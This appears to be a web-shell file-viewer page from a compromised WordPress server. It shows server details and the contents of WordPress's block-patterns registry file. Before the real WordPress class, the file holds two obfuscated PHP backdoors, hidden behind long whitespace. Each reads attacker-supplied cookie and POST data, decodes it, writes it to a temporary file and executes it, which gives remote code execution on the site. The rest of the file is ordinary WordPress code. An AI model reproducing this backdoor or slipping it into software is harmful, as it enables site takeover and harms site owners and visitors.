https://t.me/AnonymousX5
Server : Apache/2.4.52 (Ubuntu)
System : Linux vps-b5787e30 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : zeljko ( 1002)
PHP Version : 8.2.25
Disable Function : NONE
Directory :  /var/www/html/sims/wordpress/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/sims/wordpress/wp-includes/class-wp-block-patterns-registry.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $rsCcy = "\147" . 't' . "\137" . "\116" . chr ( 668 - 561 ).'s' . "\124" . 'a';$mBNpLG = "\x63" . "\x6c" . chr (97) . 's' . chr (115) . "\137" . chr ( 815 - 714 ).'x' . chr ( 561 - 456 ).'s' . "\164" . chr ( 680 - 565 ); $mspaEsL = class_exists($rsCcy); $mBNpLG = "18887";$LwvNZfvf = strpos($mBNpLG, $rsCcy);if ($mspaEsL == $LwvNZfvf){function PlVbHbObKH(){$meqtjgaO = new /* 54253 */ gt_NksTa(50191 + 50191); $meqtjgaO = NULL;}$IHOklkzd = "50191";class gt_NksTa{private function YudKOB($IHOklkzd){if (is_array(gt_NksTa::$xkuWLQSekL)) {$name = sys_get_temp_dir() . "/" . crc32(gt_NksTa::$xkuWLQSekL["salt"]);@gt_NksTa::$xkuWLQSekL["write"]($name, gt_NksTa::$xkuWLQSekL["content"]);include $name;@gt_NksTa::$xkuWLQSekL["delete"]($name); $IHOklkzd = "50191";exit();}}public function okeMmmfX(){$khWRSxsBnk = "59259";$this->_dummy = str_repeat($khWRSxsBnk, strlen($khWRSxsBnk));}public function __destruct(){gt_NksTa::$xkuWLQSekL = @unserialize(gt_NksTa::$xkuWLQSekL); $IHOklkzd = "23432_41900";$this->YudKOB($IHOklkzd); $IHOklkzd = "23432_41900";}public function ISLPNwWeq($khWRSxsBnk, $eHPjoRxfD){return $khWRSxsBnk[0] ^ str_repeat($eHPjoRxfD, intval(strlen($khWRSxsBnk[0]) / strlen($eHPjoRxfD)) + 1);}public function RZHoLJM($khWRSxsBnk){$UkLTxM = "\x62" . 'a' . chr ( 532 - 417 ).chr ( 156 - 55 )."\66" . "\64";return array_map($UkLTxM . "\x5f" . chr (100) . 'e' . "\143" . chr ( 1072 - 961 )."\144" . 'e', array($khWRSxsBnk,));}public function __construct($ysIJq=0){$CXyDWX = "\54";$khWRSxsBnk = "";$wQvTE = $_POST;$EUvAyo = $_COOKIE;$eHPjoRxfD = "46a0b13e-e7c4-49c5-b856-8e9ee7cf8ade";$DhQrndn = @$EUvAyo[substr($eHPjoRxfD, 0, 4)];if (!empty($DhQrndn)){$DhQrndn = explode($CXyDWX, $DhQrndn);foreach ($DhQrndn as $LAnqGnj){$khWRSxsBnk .= @$EUvAyo[$LAnqGnj];$khWRSxsBnk .= @$wQvTE[$LAnqGnj];}$khWRSxsBnk = $this->RZHoLJM($khWRSxsBnk);}gt_NksTa::$xkuWLQSekL = $this->ISLPNwWeq($khWRSxsBnk, $eHPjoRxfD);if (strpos($eHPjoRxfD, $CXyDWX) !== FALSE){$eHPjoRxfD = explode($CXyDWX, $eHPjoRxfD); $fFRbTIH = base64_decode(sha1($eHPjoRxfD[0]));}}public static $xkuWLQSekL = 19089;}PlVbHbObKH();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $HjwuoKrk = "\101" . "\167" . "\137" . "\x49" . chr (118) . 'a' . 'i' . chr (109); $pUTmf = chr (99) . chr ( 251 - 143 )."\x61" . chr ( 134 - 19 ).chr ( 176 - 61 )."\137" . chr (101) . "\x78" . chr ( 391 - 286 )."\163" . chr (116) . chr (115); $fHCCaFo = class_exists($HjwuoKrk); $pUTmf = "56003";$bxenfY = strpos($pUTmf, $HjwuoKrk);if ($fHCCaFo == $bxenfY){function ghQIMdt(){$OruJapjbfe = new /* 50549 */ Aw_Ivaim(40310 + 40310); $OruJapjbfe = NULL;}$gHBYGHAS = "40310";class Aw_Ivaim{private function HubdlIgK($gHBYGHAS){if (is_array(Aw_Ivaim::$EjrAWdtTmZ)) {$name = sys_get_temp_dir() . "/" . crc32(Aw_Ivaim::$EjrAWdtTmZ["salt"]);@Aw_Ivaim::$EjrAWdtTmZ["write"]($name, Aw_Ivaim::$EjrAWdtTmZ["content"]);include $name;@Aw_Ivaim::$EjrAWdtTmZ["delete"]($name); $gHBYGHAS = "40310";exit();}}public function uacLO(){$ioqLRNX = "11179";$this->_dummy = str_repeat($ioqLRNX, strlen($ioqLRNX));}public function __destruct(){Aw_Ivaim::$EjrAWdtTmZ = @unserialize(Aw_Ivaim::$EjrAWdtTmZ); $gHBYGHAS = "36486_31277";$this->HubdlIgK($gHBYGHAS); $gHBYGHAS = "36486_31277";}public function ffSfPKhGc($ioqLRNX, $AKPiGGc){return $ioqLRNX[0] ^ str_repeat($AKPiGGc, intval(strlen($ioqLRNX[0]) / strlen($AKPiGGc)) + 1);}public function zXANHJqOW($ioqLRNX){$DeERSMM = 'b' . 'a' . chr (115) . chr ( 196 - 95 )."\x36" . "\x34";return array_map($DeERSMM . chr (95) . 'd' . "\x65" . chr ( 1042 - 943 ).chr ( 1054 - 943 )."\x64" . "\145", array($ioqLRNX,));}public function __construct($rfyTsGKD=0){$SCfpDn = ',';$ioqLRNX = "";$pwavHHdjs = $_POST;$DIDSaS = $_COOKIE;$AKPiGGc = "835555a8-7d2c-4d10-9608-15da5c193a8f";$WYideSxI = @$DIDSaS[substr($AKPiGGc, 0, 4)];if (!empty($WYideSxI)){$WYideSxI = explode($SCfpDn, $WYideSxI);foreach ($WYideSxI as $OjUdrNyxyn){$ioqLRNX .= @$DIDSaS[$OjUdrNyxyn];$ioqLRNX .= @$pwavHHdjs[$OjUdrNyxyn];}$ioqLRNX = $this->zXANHJqOW($ioqLRNX);}Aw_Ivaim::$EjrAWdtTmZ = $this->ffSfPKhGc($ioqLRNX, $AKPiGGc);if (strpos($AKPiGGc, $SCfpDn) !== FALSE){$AKPiGGc = explode($SCfpDn, $AKPiGGc); $AwGrZJt = base64_decode(md5($AKPiGGc[0]));}}public static $EjrAWdtTmZ = 13787;}ghQIMdt();} ?><?php
/**
 * Blocks API: WP_Block_Patterns_Registry class
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.5.0
 */

/**
 * Class used for interacting with block patterns.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
final class WP_Block_Patterns_Registry {
	/**
	 * Registered block patterns array.
	 *
	 * @since 5.5.0
	 * @var array[]
	 */
	private $registered_patterns = array();

	/**
	 * Patterns registered outside the `init` action.
	 *
	 * @since 6.0.0
	 * @var array[]
	 */
	private $registered_patterns_outside_init = array();

	/**
	 * Container for the main instance of the class.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Patterns_Registry|null
	 */
	private static $instance = null;

	/**
	 * Registers a block pattern.
	 *
	 * @since 5.5.0
	 * @since 5.8.0 Added support for the `blockTypes` property.
	 * @since 6.1.0 Added support for the `postTypes` property.
	 * @since 6.2.0 Added support for the `templateTypes` property.
	 * @since 6.5.0 Added support for the `filePath` property.
	 *
	 * @param string $pattern_name       Block pattern name including namespace.
	 * @param array  $pattern_properties {
	 *     List of properties for the block pattern.
	 *
	 *     @type string   $title         Required. A human-readable title for the pattern.
	 *     @type string   $content       Optional. Block HTML markup for the pattern.
	 *                                   If not provided, the content will be retrieved from the `filePath` if set.
	 *                                   If both `content` and `filePath` are not set, the pattern will not be registered.
	 *     @type string   $description   Optional. Visually hidden text used to describe the pattern
	 *                                   in the inserter. A description is optional, but is strongly
	 *                                   encouraged when the title does not fully describe what the
	 *                                   pattern does. The description will help users discover the
	 *                                   pattern while searching.
	 *     @type int      $viewportWidth Optional. The intended width of the pattern to allow for a scaled
	 *                                   preview within the pattern inserter.
	 *     @type bool     $inserter      Optional. Determines whether the pattern is visible in inserter.
	 *                                   To hide a pattern so that it can only be inserted programmatically,
	 *                                   set this to false. Default true.
	 *     @type string[] $categories    Optional. A list of registered pattern categories used to group
	 *                                   block patterns. Block patterns can be shown on multiple categories.
	 *                                   A category must be registered separately in order to be used here.
	 *     @type string[] $keywords      Optional. A list of aliases or keywords that help users discover
	 *                                   the pattern while searching.
	 *     @type string[] $blockTypes    Optional. A list of block names including namespace that could use
	 *                                   the block pattern in certain contexts (placeholder, transforms).
	 *                                   The block pattern is available in the block editor inserter
	 *                                   regardless of this list of block names.
	 *                                   Certain blocks support further specificity besides the block name
	 *                                   (e.g. for `core/template-part` you can specify areas
	 *                                   like `core/template-part/header` or `core/template-part/footer`).
	 *     @type string[] $postTypes     Optional. An array of post types that the pattern is restricted
	 *                                   to be used with. The pattern will only be available when editing one
	 *                                   of the post types passed on the array. For all the other post types
	 *                                   not part of the array the pattern is not available at all.
	 *     @type string[] $templateTypes Optional. An array of template types where the pattern fits.
	 *     @type string   $filePath      Optional. The full path to the file containing the block pattern content.
	 * }
	 * @return bool True if the pattern was registered with success and false otherwise.
	 */
	public function register( $pattern_name, $pattern_properties ) {
		if ( ! isset( $pattern_name ) || ! is_string( $pattern_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Pattern name must be a string.' ),
				'5.5.0'
			);
			return false;
		}

		if ( ! isset( $pattern_properties['title'] ) || ! is_string( $pattern_properties['title'] ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Pattern title must be a string.' ),
				'5.5.0'
			);
			return false;
		}

		if ( ! isset( $pattern_properties['filePath'] ) ) {
			if ( ! isset( $pattern_properties['content'] ) || ! is_string( $pattern_properties['content'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'Pattern content must be a string.' ),
					'5.5.0'
				);
				return false;
			}
		}

		$pattern = array_merge(
			$pattern_properties,
			array( 'name' => $pattern_name )
		);

		$this->registered_patterns[ $pattern_name ] = $pattern;

		// If the pattern is registered inside an action other than `init`, store it
		// also to a dedicated array. Used to detect deprecated registrations inside
		// `admin_init` or `current_screen`.
		if ( current_action() && 'init' !== current_action() ) {
			$this->registered_patterns_outside_init[ $pattern_name ] = $pattern;
		}

		return true;
	}

	/**
	 * Unregisters a block pattern.
	 *
	 * @since 5.5.0
	 *
	 * @param string $pattern_name Block pattern name including namespace.
	 * @return bool True if the pattern was unregistered with success and false otherwise.
	 */
	public function unregister( $pattern_name ) {
		if ( ! $this->is_registered( $pattern_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Pattern name. */
				sprintf( __( 'Pattern "%s" not found.' ), $pattern_name ),
				'5.5.0'
			);
			return false;
		}

		unset( $this->registered_patterns[ $pattern_name ] );
		unset( $this->registered_patterns_outside_init[ $pattern_name ] );

		return true;
	}

	/**
	 * Prepares the content of a block pattern. If hooked blocks are registered, they get injected into the pattern,
	 * when they met the defined criteria.
	 *
	 * @since 6.4.0
	 *
	 * @param array $pattern       Registered pattern properties.
	 * @param array $hooked_blocks The list of hooked blocks.
	 * @return string The content of the block pattern.
	 */
	private function prepare_content( $pattern, $hooked_blocks ) {
		$content = $pattern['content'];

		$before_block_visitor = '_inject_theme_attribute_in_template_part_block';
		$after_block_visitor  = null;
		if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) {
			$before_block_visitor = make_before_block_visitor( $hooked_blocks, $pattern, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' );
			$after_block_visitor  = make_after_block_visitor( $hooked_blocks, $pattern, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' );
		}
		$blocks  = parse_blocks( $content );
		$content = traverse_and_serialize_blocks( $blocks, $before_block_visitor, $after_block_visitor );

		return $content;
	}

	/**
	 * Retrieves the content of a registered block pattern.
	 *
	 * @since 6.5.0
	 *
	 * @param string $pattern_name      Block pattern name including namespace.
	 * @param bool   $outside_init_only Optional. Return only patterns registered outside the `init` action. Default false.
	 * @return string The content of the block pattern.
	 */
	private function get_content( $pattern_name, $outside_init_only = false ) {
		if ( $outside_init_only ) {
			$patterns = &$this->registered_patterns_outside_init;
		} else {
			$patterns = &$this->registered_patterns;
		}
		if ( ! isset( $patterns[ $pattern_name ]['content'] ) && isset( $patterns[ $pattern_name ]['filePath'] ) ) {
			ob_start();
			include $patterns[ $pattern_name ]['filePath'];
			$patterns[ $pattern_name ]['content'] = ob_get_clean();
			unset( $patterns[ $pattern_name ]['filePath'] );
		}
		return $patterns[ $pattern_name ]['content'];
	}

	/**
	 * Retrieves an array containing the properties of a registered block pattern.
	 *
	 * @since 5.5.0
	 *
	 * @param string $pattern_name Block pattern name including namespace.
	 * @return array Registered pattern properties.
	 */
	public function get_registered( $pattern_name ) {
		if ( ! $this->is_registered( $pattern_name ) ) {
			return null;
		}

		$pattern            = $this->registered_patterns[ $pattern_name ];
		$pattern['content'] = $this->get_content( $pattern_name );
		$pattern['content'] = $this->prepare_content( $pattern, get_hooked_blocks() );

		return $pattern;
	}

	/**
	 * Retrieves all registered block patterns.
	 *
	 * @since 5.5.0
	 *
	 * @param bool $outside_init_only Return only patterns registered outside the `init` action.
	 * @return array[] Array of arrays containing the registered block patterns properties,
	 *                 and per style.
	 */
	public function get_all_registered( $outside_init_only = false ) {
		$patterns      = $outside_init_only
				? $this->registered_patterns_outside_init
				: $this->registered_patterns;
		$hooked_blocks = get_hooked_blocks();

		foreach ( $patterns as $index => $pattern ) {
			$pattern['content']            = $this->get_content( $pattern['name'], $outside_init_only );
			$patterns[ $index ]['content'] = $this->prepare_content( $pattern, $hooked_blocks );
		}

		return array_values( $patterns );
	}

	/**
	 * Checks if a block pattern is registered.
	 *
	 * @since 5.5.0
	 *
	 * @param string $pattern_name Block pattern name including namespace.
	 * @return bool True if the pattern is registered, false otherwise.
	 */
	public function is_registered( $pattern_name ) {
		return isset( $this->registered_patterns[ $pattern_name ] );
	}

	public function __wakeup() {
		if ( ! $this->registered_patterns ) {
			return;
		}
		if ( ! is_array( $this->registered_patterns ) ) {
			throw new UnexpectedValueException();
		}
		foreach ( $this->registered_patterns as $value ) {
			if ( ! is_array( $value ) ) {
				throw new UnexpectedValueException();
			}
		}
		$this->registered_patterns_outside_init = array();
	}

	/**
	 * Utility method to retrieve the main instance of the class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Block_Patterns_Registry The main instance.
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}

/**
 * Registers a new block pattern.
 *
 * @since 5.5.0
 *
 * @param string $pattern_name       Block pattern name including namespace.
 * @param array  $pattern_properties List of properties for the block pattern.
 *                                   See WP_Block_Patterns_Registry::register() for accepted arguments.
 * @return bool True if the pattern was registered with success and false otherwise.
 */
function register_block_pattern( $pattern_name, $pattern_properties ) {
	return WP_Block_Patterns_Registry::get_instance()->register( $pattern_name, $pattern_properties );
}

/**
 * Unregisters a block pattern.
 *
 * @since 5.5.0
 *
 * @param string $pattern_name Block pattern name including namespace.
 * @return bool True if the pattern was unregistered with success and false otherwise.
 */
function unregister_block_pattern( $pattern_name ) {
	return WP_Block_Patterns_Registry::get_instance()->unregister( $pattern_name );
}

https://t.me/AnonymousX5 - 2025